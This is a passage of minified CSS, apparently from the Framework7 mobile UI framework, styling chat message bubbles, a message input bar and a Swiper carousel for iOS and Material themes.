.searchbar-inner{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}}.messages{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;min-height:100%;position:relative;z-index:1}.messages-title{text-align:center;width:100%;line-height:1}.message{max-width:70%;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:end;-webkit-align-items:flex-end;-ms-flex-align:end;align-items:flex-end;position:relative;z-index:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.message-avatar{border-radius:50%;position:relative;background-size:cover;-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.message-content{position:relative;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.message-footer,.message-header,.message-name{line-height:1;font-size:12px}.message-footer{font-size:11px;margin-bottom:-1em}.message-bubble{-webkit-box-sizing:border-box;box-sizing:border-box;word-break:break-word;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;position:relative;line-height:1.2}.message-image img{display:block;max-width:100%;height:auto;width:auto}.message-text-footer,.message-text-header{font-size:12px;line-height:1}.message-text{text-align:left}.message-sent{text-align:right;-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end}.message-received{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row}.message-received .message-content{-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.message-sent .message-content{-webkit-box-align:end;-webkit-align-items:flex-end;-ms-flex-align:end;align-items:flex-end}.message:not(.message-last) .message-avatar{opacity:0}.message:not(.message-first) .message-name{display:none}.message.message-same-name .message-name{display:none}.message.message-same-header .message-header{display:none}.message.message-same-footer .message-footer{display:none}.message-appear-from-bottom{-webkit-animation:message-appear-from-bottom .3s;animation:message-appear-from-bottom .3s}.message-appear-from-top{-webkit-animation:message-appear-from-top .3s;animation:message-appear-from-top .3s}.message-typing-indicator{display:inline-block;font-size:0;vertical-align:middle}.message-typing-indicator>div{display:inline-block;position:relative;background:#000;vertical-align:middle;border-radius:50%}@-webkit-keyframes message-appear-from-bottom{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes message-appear-from-bottom{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@-webkit-keyframes message-appear-from-top{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes message-appear-from-top{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.ios .messages,.ios .messages-content{background:#fff}.ios .messages-title{font-size:11px;color:#8e8e93;margin-top:10px}.ios .messages-title:last-child{margin-bottom:10px}.ios .messages-title b{font-weight:600}.ios .message{margin-top:10px}.ios .message:last-child{margin-bottom:10px}.ios .message-avatar{width:29px;height:29px}.ios .message-footer,.ios .message-header,.ios .message-name{color:#8e8e93}.ios .message-footer b,.ios .message-header b,.ios .message-name b{font-weight:600}.ios .message-header,.ios .message-name{margin-bottom:3px}.ios .message-footer{margin-top:3px}.ios .message-bubble{font-size:17px;line-height:1.2;border-radius:16px;padding:6px 16px 9px;min-width:48px;min-height:35px}.ios .message-image{margin:6px -16px}.ios .message-image:first-child{margin-top:-6px}.ios .message-image:first-child img{border-top-left-radius:16px;border-top-right-radius:16px}.ios .message-image:last-child{margin-bottom:-9px}.ios .message-image:last-child img{border-bottom-left-radius:16px;border-bottom-right-radius:16px}.ios .message-text-header{margin-bottom:3px}.ios .message-text-footer{margin-top:3px}.ios .message-received{margin-left:10px}.ios .message-received .message-footer,.ios .message-received .message-header,.ios .message-received .message-name{margin-left:16px}.ios .message-received .message-text-footer,.ios .message-received .message-text-header{opacity:.5}.ios .message-received .message-bubble{color:#000;background:#e5e5ea;padding-left:22px;-webkit-mask-box-image:url("data:image/svg+xml;charset=utf-8,") 50% 42% 46% 56%}.ios .message-received .message-image{margin-left:-22px}.ios .message-received.message-tail:not(.message-typing) .message-bubble{border-radius:16px 16px 16px 0;-webkit-mask-box-image:url("data:image/svg+xml;charset=utf-8,") 50% 42% 46% 56%}.ios .message-received.message-tail:not(.message-typing) .message-bubble .message-image:last-child img{border-bottom-left-radius:0}.ios .message-sent{margin-right:10px}.ios .message-sent .message-footer,.ios .message-sent .message-header,.ios .message-sent .message-name{margin-right:16px}.ios .message-sent .message-text-footer,.ios .message-sent .message-text-header{opacity:.8}.ios .message-sent .message-bubble{background:#00d449;color:#fff;padding-right:22px;-webkit-mask-box-image:url("data:image/svg+xml;charset=utf-8,") 50% 56% 46% 42%}.ios .message-sent .message-image{margin-right:-22px}.ios .message-sent.message-tail .message-bubble{border-radius:16px 16px 0 16px;-webkit-mask-box-image:url("data:image/svg+xml;charset=utf-8,") 50% 56% 46% 42%}.ios .message-sent.message-tail .message-bubble .message-image:last-child img{border-bottom-right-radius:0}.ios .message+.message:not(.message-first){margin-top:1px}.ios .message-received.message-typing .message-content:after,.ios .message-received.message-typing .message-content:before{content:'';position:absolute;background:#e5e5ea;border-radius:50%}.ios .message-received.message-typing .message-content:after{width:11px;height:11px;left:4px;bottom:0}.ios .message-received.message-typing .message-content:before{width:6px;height:6px;left:-1px;bottom:-4px}.ios .message-typing-indicator>div{width:9px;height:9px;opacity:.35}.ios .message-typing-indicator>div+div{margin-left:4px}.ios .message-typing-indicator>div:nth-child(1){-webkit-animation:ios-message-typing-indicator .9s infinite;animation:ios-message-typing-indicator .9s infinite}.ios .message-typing-indicator>div:nth-child(2){-webkit-animation:ios-message-typing-indicator .9s 150ms infinite;animation:ios-message-typing-indicator .9s 150ms infinite}.ios .message-typing-indicator>div:nth-child(3){-webkit-animation:ios-message-typing-indicator .9s .3s infinite;animation:ios-message-typing-indicator .9s .3s infinite}.ios .theme-dark .messages,.ios .theme-dark .messages-content,.messages-content.ios .theme-dark,.messages.ios .theme-dark{background-color:transparent}.ios .theme-dark .message-received.message-typing .message-content:after,.ios .theme-dark .message-received.message-typing .message-content:before{background:#333}.ios .theme-dark .message-typing-indicator>div{background-color:#fff}.ios .theme-dark .message-received .message-bubble{background-color:#333;color:#fff}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .message-received,.ios.device-iphone-x .ios-left-edge .message-received,.ios.device-iphone-x .panel-left .message-received,.ios.device-iphone-x .popup .message-received,.ios.device-iphone-x .sheet-modal .message-received{margin-left:calc(10px + constant(safe-area-inset-left));margin-left:calc(10px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .message-sent,.ios.device-iphone-x .ios-right-edge .message-sent,.ios.device-iphone-x .panel-right .message-sent,.ios.device-iphone-x .popup .message-sent,.ios.device-iphone-x .sheet-modal .message-sent{margin-right:calc(10px + constant(safe-area-inset-right));margin-right:calc(10px + env(safe-area-inset-right))}}@-webkit-keyframes ios-message-typing-indicator{0%{opacity:.35}25%{opacity:.2}50%{opacity:.2}}@keyframes ios-message-typing-indicator{0%{opacity:.35}25%{opacity:.2}50%{opacity:.2}}.md .messages,.md .messages-content{background:#eee}.md .message{margin-top:16px}.md .message:last-child{margin-bottom:16px}.md .messages-title{font-size:12px;color:rgba(0,0,0,.51);margin-top:16px}.md .messages-title:last-child{margin-bottom:16px}.md .messages-title b{font-weight:500}.md .message-avatar{width:32px;height:32px}.md .message-footer,.md .message-header,.md .message-name{color:rgba(0,0,0,.51)}.md .message-footer b,.md .message-header b,.md .message-name b{font-weight:500}.md .message-header,.md .message-name{margin-bottom:2px}.md .message-footer{margin-top:2px}.md .message-bubble{font-size:16px;border-radius:2px;padding:6px 8px;min-height:32px}.md .message-text-footer,.md .message-text-header{color:rgba(0,0,0,.51)}.md .message-text-header{margin-bottom:4px}.md .message-text-footer{margin-top:4px}.md .message-received{margin-left:8px}.md .message-received .message-bubble{color:#333;background:#fff}.md .message-received .message-avatar+.message-content{margin-left:8px}.md .message-received.message-tail .message-bubble{border-radius:2px 2px 2px 0}.md .message-received.message-tail .message-bubble:before{position:absolute;content:'';border-left:8px solid transparent;border-right:0 solid transparent;border-bottom:8px solid #fff;right:100%;bottom:0;width:0;height:0}.md .message-sent{margin-right:8px}.md .message-sent .message-bubble{color:#333;background:#c8e6c9}.md .message-sent .message-avatar+.message-content{margin-right:8px}.md .message-sent.message-tail .message-bubble{border-radius:2px 2px 0 2px}.md .message-sent.message-tail .message-bubble:before{position:absolute;content:'';border-right:8px solid transparent;border-left:0 solid transparent;border-bottom:8px solid #c8e6c9;left:100%;bottom:0;width:0;height:0}.md .message+.message:not(.message-first){margin-top:8px}.md .message-typing-indicator>div{width:6px;height:6px;opacity:.6}.md .message-typing-indicator>div+div{margin-left:6px}.md .message-typing-indicator>div:nth-child(1){-webkit-animation:md-message-typing-indicator .9s infinite;animation:md-message-typing-indicator .9s infinite}.md .message-typing-indicator>div:nth-child(2){-webkit-animation:md-message-typing-indicator .9s 150ms infinite;animation:md-message-typing-indicator .9s 150ms infinite}.md .message-typing-indicator>div:nth-child(3){-webkit-animation:md-message-typing-indicator .9s .3s infinite;animation:md-message-typing-indicator .9s .3s infinite}.md .theme-dark .messages,.md .theme-dark .messages-content,.messages-content.md .theme-dark,.messages.md .theme-dark{background-color:transparent}.md .theme-dark .messages-title{color:rgba(255,255,255,.54)}.md .theme-dark .message-footer,.md .theme-dark .message-header,.md .theme-dark .message-name{color:rgba(255,255,255,.54)}@media (orientation:landscape){.md.device-iphone-x .ios-edges .message-received,.md.device-iphone-x .ios-left-edge .message-received,.md.device-iphone-x .panel-left .message-received,.md.device-iphone-x .popup .message-received,.md.device-iphone-x .sheet-modal .message-received{margin-left:calc(8px + constant(safe-area-inset-left));margin-left:calc(8px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .message-sent,.md.device-iphone-x .ios-right-edge .message-sent,.md.device-iphone-x .panel-right .message-sent,.md.device-iphone-x .popup .message-sent,.md.device-iphone-x .sheet-modal .message-sent{margin-right:calc(8px + constant(safe-area-inset-right));margin-right:calc(8px + env(safe-area-inset-right))}}@-webkit-keyframes md-message-typing-indicator{0%{-webkit-transform:translateY(0);transform:translateY(0)}25%{-webkit-transform:translateY(-5px);transform:translateY(-5px)}50%{-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes md-message-typing-indicator{0%{-webkit-transform:translateY(0);transform:translateY(0)}25%{-webkit-transform:translateY(-5px);transform:translateY(-5px)}50%{-webkit-transform:translateY(0);transform:translateY(0)}}.toolbar.messagebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);background:#fff;height:auto}.toolbar.messagebar .toolbar-inner{position:relative}.toolbar.messagebar .messagebar-area{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;overflow:hidden;position:relative}.toolbar.messagebar textarea{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1}.toolbar.messagebar a.link{-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.messagebar-attachments{width:100%;overflow:auto;-webkit-overflow-scrolling:touch;font-size:0;white-space:nowrap;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative}.messagebar:not(.messagebar-attachments-visible) .messagebar-attachments{display:none}.messagebar-attachment{background-size:cover;background-position:center;background-repeat:no-repeat;display:inline-block;vertical-align:middle;white-space:normal;height:155px;position:relative}@media (orientation:landscape){.messagebar-attachment{height:120px}}.messagebar-attachment img{display:block;width:auto;height:100%}.messagebar-attachment+.messagebar-attachment{margin-left:8px}.messagebar-sheet{overflow:auto;-webkit-overflow-scrolling:touch;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-align-content:flex-start;-ms-flex-line-pack:start;align-content:flex-start;height:252px}@media (orientation:landscape){.messagebar-sheet{height:192px}}.messagebar-sheet-image,.messagebar-sheet-item{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;margin-top:1px;position:relative;overflow:hidden;height:125px;width:125px;margin-left:1px}@media (orientation:landscape){.messagebar-sheet-image,.messagebar-sheet-item{width:95px;height:95px}}.messagebar-sheet-image .icon-checkbox,.messagebar-sheet-image .icon-radio,.messagebar-sheet-item .icon-checkbox,.messagebar-sheet-item .icon-radio{position:absolute;right:8px;bottom:8px}.messagebar-sheet-image{background-size:cover;background-position:center;background-repeat:no-repeat}.messagebar-attachment-delete{display:block;position:absolute;border-radius:50%;-webkit-box-sizing:border-box;box-sizing:border-box;cursor:pointer;-webkit-box-shadow:0 0 2px rgba(0,0,0,.2);box-shadow:0 0 2px rgba(0,0,0,.2)}.messagebar-attachment-delete:after,.messagebar-attachment-delete:before{position:absolute;content:'';left:50%;top:50%}.messagebar-attachment-delete:after{-webkit-transform:rotate(45deg);transform:rotate(45deg)}.messagebar-attachment-delete:before{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.messagebar:not(.messagebar-sheet-visible) .messagebar-sheet{display:none}.ios.device-iphone-x .messagebar:not(.messagebar-top),.md.device-iphone-x .messagebar:not(.messagebar-top){height:auto!important}.ios.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible),.md.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible){padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.ios.device-iphone-x .messagebar-sheet,.md.device-iphone-x .messagebar-sheet{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left);padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right);padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.ios .messagebar{background:#fff;min-height:44px}.ios .messagebar:before{display:none!important}.ios .messagebar textarea{background:#fff;border-radius:17px;padding:6px 15px;height:34px;line-height:20px;font-size:17px;border:1px solid #c8c8cd}.ios .messagebar a.link.icon-only:first-child{margin-left:-8px}.ios .messagebar a.link.icon-only:last-child{margin-right:-8px}.ios .messagebar a.link:not(.icon-only)+.messagebar-area{margin-left:8px}.ios .messagebar .messagebar-area+a.link:not(.icon-only){margin-left:8px}.ios .messagebar-area{margin-top:5px;margin-bottom:5px}.ios .messagebar-attachments{padding:5px;border-radius:17px 17px 0 0;border:1px solid #c8c8cd;border-bottom:none}.ios .messagebar-attachments-visible .messagebar-attachments+textarea{border-radius:0 0 17px 17px}.ios .messagebar-attachment{border-radius:12px;font-size:14px}.ios .messagebar-attachment img{border-radius:12px}.ios .messagebar-sheet{background:#d1d5da}.ios .messagebar-attachment-delete{right:5px;top:5px;width:20px;height:20px;background:#7d7e80;border:2px solid #fff;cursor:pointer}.ios .messagebar-attachment-delete:after,.ios .messagebar-attachment-delete:before{width:10px;height:2px;background:#fff;margin-left:-5px;margin-top:-1px}.ios .theme-dark .messagebar textarea,.messagebar.ios .theme-dark textarea{background-color:#000;border-color:#282829;color:#fff}.ios .theme-dark .messagebar-attachments{border-color:#282829;background-color:#000}.md .messagebar{font-size:16px}.md .messagebar:after{display:none}.md .messagebar textarea{padding:5px 8px;height:32px;color:#333;font-size:16px;line-height:22px}.md .messagebar a.link{color:#333}.md .messagebar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .messagebar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .messagebar:before{content:'';position:absolute;background-color:#d1d1d1;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .messagebar:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .messagebar:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .messagebar-attachments{padding:8px;border-bottom:1px solid #ddd}.md .messagebar-area{margin-top:8px;margin-bottom:8px}.md .messagebar-sheet{background:#fff}.md .messagebar-sheet-image .icon-checkbox,.md .messagebar-sheet-item .icon-checkbox{border-color:#fff;background:rgba(255,255,255,.25);-webkit-box-shadow:0 0 10px rgba(0,0,0,.5);box-shadow:0 0 10px rgba(0,0,0,.5)}.md .messagebar-attachment-delete{right:8px;top:8px;width:24px;height:24px;background:#2196f3;cursor:pointer;border-radius:2px}.md .messagebar-attachment-delete:after,.md .messagebar-attachment-delete:before{width:14px;height:2px;background:#fff;margin-left:-7px;margin-top:-1px}.md .theme-dark .messagebar,.messagebar.md .theme-dark{background:#000}.md .theme-dark .messagebar:before,.messagebar.md .theme-dark:before{background-color:rgba(255,255,255,.2)}.md .theme-dark .messagebar a.link,.messagebar.md .theme-dark a.link{color:rgba(255,255,255,.87)}.md .theme-dark .messagebar a.link:before,.messagebar.md .theme-dark a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .theme-dark .messagebar a.link.active-state:before,.messagebar.md .theme-dark a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .theme-dark .messagebar textarea,.messagebar.md .theme-dark textarea{color:rgba(255,255,255,.87)}.md .theme-dark .messagebar-attachments{border-bottom-color:rgba(255,255,255,.2)}.swiper-container{margin:0 auto;position:relative;overflow:hidden;list-style:none;padding:0;z-index:1}.swiper-container-no-flexbox .swiper-slide{float:left}.swiper-container-vertical>.swiper-wrapper{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.swiper-wrapper{position:relative;width:100%;height:100%;z-index:1;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-box-sizing:content-box;box-sizing:content-box}.swiper-container-android .swiper-slide,.swiper-wrapper{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.swiper-container-multirow>.swiper-wrapper{-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap}.swiper-container-free-mode>.swiper-wrapper{-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out;margin:0 auto}.swiper-slide{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;width:100%;height:100%;position:relative;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.swiper-invisible-blank-slide{visibility:hidden}.swiper-container-autoheight,.swiper-container-autoheight .swiper-slide{height:auto}.swiper-container-autoheight .swiper-wrapper{-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start;-webkit-transition-property:height,-webkit-transform;transition-property:height,-webkit-transform;transition-property:transform,height;transition-property:transform,height,-webkit-transform}.swiper-container-3d{-webkit-perspective:1200px;perspective:1200px}.swiper-container-3d .swiper-cube-shadow,.swiper-container-3d .swiper-slide,.swiper-container-3d .swiper-slide-shadow-bottom,.swiper-container-3d .swiper-slide-shadow-left,.swiper-container-3d .swiper-slide-shadow-right,.swiper-container-3d .swiper-slide-shadow-top,.swiper-container-3d .swiper-wrapper{-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.swiper-container-3d .swiper-slide-shadow-bottom,.swiper-container-3d .swiper-slide-shadow-left,.swiper-container-3d .swiper-slide-shadow-right,.swiper-container-3d .swiper-slide-shadow-top{position:absolute;left:0;top:0;width:100%;height:100%;pointer-events:none;z-index:10}.swiper-container-3d .swiper-slide-shadow-left{background-image:-webkit-gradient(linear,right top,left top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(right,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to left,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-3d .swiper-slide-shadow-right{background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(left,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to right,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-3d .swiper-slide-shadow-top{background-image:-webkit-gradient(linear,left bottom,left top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(bottom,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to top,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-3d .swiper-slide-shadow-bottom{background-image:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(top,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to bottom,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-wp8-horizontal,.swiper-container-wp8-horizontal>.swiper-wrapper{-ms-touch-action:pan-y;touch-action:pan-y}.swiper-container-wp8-vertical,.swiper-container-wp8-vertical>.swiper-wrapper{-ms-touch-action:pan-x;touch-action:pan-x}.swiper-container .swiper-notification{position:absolute;left:0;top:0;pointer-events:none;opacity:0;z-index:-1000}.swiper-container-coverflow .swiper-wrapper{-ms-perspective:1200px}.swiper-container-cube{overflow:visible}.swiper-container-cube .swiper-slide{pointer-events:none;-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:1;visibility:hidden;-webkit-transform-origin:0 0;transform-origin:0 0;width:100%;height:100%}.swiper-container-cube .swiper-slide .swiper-slide{pointer-events:none}.swiper-container-cube.swiper-container-rtl .swiper-slide{-webkit-transform-origin:100% 0;transform-origin:100% 0}.swiper-container-cube .swiper-slide-active,.swiper-container-cube .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-container-cube .swiper-slide-active,.swiper-container-cube .swiper-slide-next,.swiper-container-cube .swiper-slide-next+.swiper-slide,.swiper-container-cube .swiper-slide-prev{pointer-events:auto;visibility:visible}.swiper-container-cube .swiper-slide-shadow-bottom,.swiper-container-cube .swiper-slide-shadow-left,.swiper-container-cube .swiper-slide-shadow-right,.swiper-container-cube .swiper-slide-shadow-top{z-index:0;-webkit-backface-visibility:hidden;backface-visibility:hidden}.swiper-container-cube .swiper-cube-shadow{position:absolute;left:0;bottom:0;width:100%;height:100%;background:#000;opacity:.6;-webkit-filter:blur(50px);filter:blur(50px);z-index:0}.swiper-container-fade.swiper-container-free-mode .swiper-slide{-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out}.swiper-container-fade .swiper-slide{pointer-events:none;-webkit-transition-property:opacity;transition-property:opacity}.swiper-container-fade .swiper-slide .swiper-slide{pointer-events:none}.swiper-container-fade .swiper-slide-active,.swiper-container-fade .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-container-flip{overflow:visible}.swiper-container-flip .swiper-slide{pointer-events:none;-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:1}.swiper-container-flip .swiper-slide .swiper-slide{pointer-events:none}.swiper-container-flip .swiper-slide-active,.swiper-container-flip .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-container-flip .swiper-slide-shadow-bottom,.swiper-container-flip .swiper-slide-shadow-left,.swiper-container-flip .swiper-slide-shadow-right,.swiper-container-flip .swiper-slide-shadow-top{z-index:0;-webkit-backface-visibility:hidden;backface-visibility:hidden}.swiper-scrollbar{border-radius:10px;position:relative;-ms-touch-action:none;background:rgba(0,0,0,.1)}.swiper-container-horizontal>.swiper-scrollbar{position:absolute;left:1%;bottom:3px;z-index:50;height:5px;width:98%}.swiper-container-vertical>.swiper-scrollbar{position:absolute;right:3px;top:1%;z-index:50;width:5px;height:98%}.swiper-scrollbar-drag{height:100%;width:100%;position:relative;background:rgba(0,0,0,.5);border-radius:10px;left:0;top:0}.swiper-scrollbar-cursor-drag{cursor:move}.swiper-scrollbar-lock{display:none}.swiper-zoom-container{width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;text-align:center}.swiper-zoom-container>canvas,.swiper-zoom-container>img,.swiper-zoom-container>svg{max-width:100%;max-height:100%;-o-object-fit:contain;object-fit:contain}.swiper-slide-zoomed{cursor:move}.swiper-button-next,.swiper-button-prev{position:absolute;top:50%;width:27px;height:44px;margin-top:-22px;z-index:10;cursor:pointer;background-size:27px 44px;background-position:center;background-repeat:no-repeat}.swiper-button-next.swiper-button-disabled,.swiper-button-prev.swiper-button-disabled{opacity:.35;cursor:auto;pointer-events:none}.swiper-button-prev,.swiper-container-rtl .swiper-button-next{left:10px;right:auto}.swiper-button-next,.swiper-container-rtl .swiper-button-prev{right:10px;left:auto}.swiper-pagination{position:absolute;text-align:center;-webkit-transition:.3s opacity;transition:.3s opacity;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);z-index:10}.swiper-pagination.swiper-pagination-hidden{opacity:0}.swiper-container-horizontal>.swiper-pagination-bullets,.swiper-pagination-custom,.swiper-pagination-fraction{bottom:10px;left:0;width:100%}.swiper-pagination-bullets-dynamic{overflow:hidden;font-size:0}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{-webkit-transform:scale(.33);transform:scale(.33);position:relative}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active{-webkit-transform:scale(1);transform:scale(1)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev{-webkit-transform:scale(.66);transform:scale(.66)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev-prev{-webkit-transform:scale(.33);transform:scale(.33)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next{-webkit-transform:scale(.66);transform:scale(.66)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next-next{-webkit-transform:scale(.33);transform:scale(.33)}.swiper-pagination-bullet{width:8px;height:8px;display:inline-block;border-radius:100%;background:#000;opacity:.2}button.swiper-pagination-bullet{border:none;margin:0;padding:0;-webkit-box-shadow:none;box-shadow:none;-webkit-appearance:none;-moz-appearance:none;appearance:none}.swiper-pagination-clickable .swiper-pagination-bullet{cursor:pointer}.swiper-pagination-bullet-active{opacity:1}.swiper-container-vertical>.swiper-pagination-bullets{right:10px;top:50%;-webkit-transform:translate3d(0,-50%,0);transform:translate3d(0,-50%,0)}.swiper-container-vertical>.swiper-pagination-bullets .swiper-pagination-bullet{margin:6px 0;display:block}.swiper-container-vertical>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic{top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:8px}.swiper-container-vertical>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{display:inline-block;-webkit-transition:.2s top,.2s -webkit-transform;transition:.2s top,.2s -webkit-transform;transition:.2s transform,.2s top;transition:.2s transform,.2s top,.2s -webkit-transform}.swiper-container-horizontal>.swiper-pagination-bullets .swiper-pagination-bullet{margin:0 4px}.swiper-container-horizontal>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic{left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);white-space:nowrap}.swiper-container-horizontal>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{-webkit-transition:.2s left,.2s -webkit-transform;transition:.2s left,.2s -webkit-transform;transition:.2s transform,.2s left;transition:.2s transform,.2s left,.2s -webkit-transform}.swiper-pagination-progressbar{background:rgba(0,0,0,.25);position:absolute}.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{position:absolute;left:0;top:0;width:100%;height:100%;-webkit-transform:scale(0);transform:scale(0);-webkit-transform-origin:left top;transform-origin:left top}.swiper-container-rtl .swiper-pagination-progressbar .swiper-pagination-progressbar-fill{-webkit-transform-origin:right top;transform-origin:right 